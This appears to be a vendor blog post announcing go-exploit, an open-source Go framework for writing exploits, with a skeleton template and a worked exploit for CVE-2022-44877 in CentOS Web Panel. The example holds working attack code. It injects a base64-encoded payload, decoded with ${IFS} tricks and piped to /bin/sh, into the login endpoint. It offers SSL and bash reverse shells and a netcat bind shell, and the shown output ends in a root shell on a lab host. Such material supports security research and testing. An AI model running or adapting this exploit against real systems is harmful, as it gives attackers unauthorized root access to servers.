VulnCheck is excited to announce the open-source release of our in-house exploit framework,
Many proof-of-concept exploits rely on interpreted languages with complicated packaging systems. They implement wildly differing user interfaces, and have limited ability to be executed within a target network. Some exploits are integrated into massive frameworks that are burdened by years of features and dependencies which overwhelm developers and hinder the attacker's ability to deploy the exploits from unconventional locations.
To overcome these challenges,
Key Features and Capabilities
- Cross-Platform Portability: Developed in Go, go-exploitoffers seamless cross-platform compatibility. Whether you need to execute the exploit on Windows, Linux, macOS, or an embedded system, the framework ensures consistent functionality across different operating systems, thanks to Go's ability to compile to native executables.
- A Single Executable: Each exploit compiles down to a single native executable, free from external dependencies. Due to the design of the framework, unused (or unwanted) features are completely eliminated from the compiled binary.
- Defined Exploitation Stages: go-exploitintroduces a structured approach to exploitation with three distinct stages: target validation, version checking, and exploitation. This clear separation allows exploit developers to focus on specific aspects of the exploit development process, enhancing efficiency and code organization.
- Consistent User Interface: The framework defines a flexible yet consistent user interface that abstracts away complexities, providing a streamlined experience for exploit developers and users.
- Builtin Command and Control: go-exploitincludes built-in logic for establishing connections to bind shells or accepting encrypted or unencrypted reverse shells.
- Pre-defined Payloads: go-exploitcomes with a collection of pre-created exploit payloads including traditional “lolbin” reverse shells and bind shells, as well as more complicated payloads like Java gadgets.go-exploitalso contains all the infrastructure needed for exploiting JNDI LDAP issues (e.g. Log4Shell, CVE-2023-21839, etc).
Creating an Exploit with go-exploit
Developing a new exploit using
- main(): This function is responsible for configuring the exploit type and defining the supported command and control options.
- ValidateTarget(): The purpose of this function is to validate that the target system meets the criteria of the intended victim.
- CheckVersion(): This function is used to confirm that the target system is a susceptible host by checking its version or specific characteristics.
- RunExploit(): In this function, the exploitation logic is implemented, enabling the actual exploitation of the target system.
To provide a starting point, a skeleton exploit follows the structure outlined below:
package main
import (
"github.com/vulncheck-oss/go-exploit"
"github.com/vulncheck-oss/go-exploit/c2"
"github.com/vulncheck-oss/go-exploit/config"
)
type MyExploit struct{}
func (sploit MyExploit) ValidateTarget(conf *config.Config) bool {
return false
}
func (sploit MyExploit) CheckVersion(conf *config.Config) exploit.VersionCheckType {
return exploit.NotImplemented
}
func (sploit MyExploit) RunExploit(conf *config.Config) bool {
return true
}
func main() {
supportedC2 := []c2.Impl{
c2.SimpleShellServer,
c2.SimpleShellClient,
}
conf := config.New(config.CodeExecution, supportedC2, "My Target", "CVE-2023-1270", 80)
sploit := MyExploit{}
exploit.RunProgram(sploit, conf)
}
To build the skeleton exploit, you'll need to create a
go mod init github.com/username/example
GO111MODULE=on go mod tidy
To compile the skeleton exploit, you can use a simple command like the one shown below:
GO111MODULE=on go build -o exploit ./main.go
Running this command will compile the skeleton exploit, and the resulting executable will be named
Now that you have the instructions for setting up and compiling your
A go-exploit for CVE-2022-44877
In this section, we will examine an example exploit for CVE-2022-44877 (CentOS Web Panel). CVE-2022-44877 is a trivial unauthenticated and remote command injection vulnerability so it’s great as a simple example. Let's start with the exploit's
func main() {
supportedC2 := []c2.Impl{
c2.SSLShellServer,
c2.SimpleShellServer,
c2.SimpleShellClient,
}
conf := config.New(config.CodeExecution, supportedC2, "CentOS Web Panel", "CVE-2022-44877", 2031)
sploit := CWPInjection{}
exploit.RunProgram(sploit, conf)
}
There are two important aspects in the
- c2.SSLShellServer(default): An encrypted reverse shell.
- c2.SimpleShellServer: An unencrypted reverse shell.
- c2.SimpleShellClient: An unencrypted bind shell.
Additionally, the exploit specifies that it is a
For this example, we will skip the
func (sploit CWPInjection) RunExploit(conf *config.Config) bool {
generated, ok := generatePayload(conf)
if !ok {
return false
}
loginAttempt := map[string]string{
"username": "%72%6f%6F%74", // root encoded
"password": random.RandLetters(8),
"commit": "Login",
}
target := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/login/index.php")
output.PrintSuccess("Sending exploit to " + target)
// t=1 ET bypass
resp, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", target+"?t=1&login="+generated, loginAttempt)
if !ok {
return false
}
if resp.StatusCode != 200 {
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
return false
}
output.PrintStatus("Done")
return true
}
The
func generatePayload(conf *config.Config) (string, bool) {
generated := ""
switch conf.C2Type {
case c2.SSLShellServer:
output.PrintfStatus("Sending an SSL reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
generated = payload.ReverseShellMknodOpenSSL(conf.Lhost, conf.Lport)
case c2.SimpleShellServer:
output.PrintfStatus("Sending a reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
generated = payload.ReverseShellBash(conf.Lhost, conf.Lport)
case c2.SimpleShellClient:
output.PrintfStatus("Sending a bind shell for port %d", conf.Bport)
generated = payload.BindShellMkfifoNetcat(conf.Bport)
default:
output.PrintError("Invalid payload")
return "", false
}
payload64 := b64.StdEncoding.EncodeToString([]byte(generated))
generated = "`echo${IFS}" + payload64 + "|base64${IFS}-d|/bin/sh`"
return generated, true
}
Above, we can see the implementation of the payloads for the three supported command and control variants. In this example, each variant can utilize a predefined payload provided by the exploit framework.
Finally, the exploit can be executed against the target. The output might look like this:
albinolobster@mournland:~/go-exploit/examples/cve-2022-44877$ ./cve-2022-44877 -a -c -v -e -rhost 10.9.49.214 -lhost 10.9.49.186 -lport 1270
[*] Validating the remote target is a CentOS Web Panel installation
[+] Target validation succeeded!
[*] Running a version check on the remote target
[-] broken.jpg has been modified since April 3, 2022. This instance *might* be vulnerable.
[*] The target *might* be a vulnerable version. Continuing.
[*] Generating a TLS Certificate
[*] Starting TLS listener on 10.9.49.186:1270
[*] Sending an SSL reverse shell payload for port 10.9.49.186:1270
[+] Sending exploit to https://10.9.49.214:2031/login/index.php
[+] Caught new shell from 10.9.49.214:35868
[*] Active shell from 10.9.49.214:35868
$ whoami
sh: no job control in this shell
sh-4.2# whoami
root
$ pwd
pwd
/tmp
$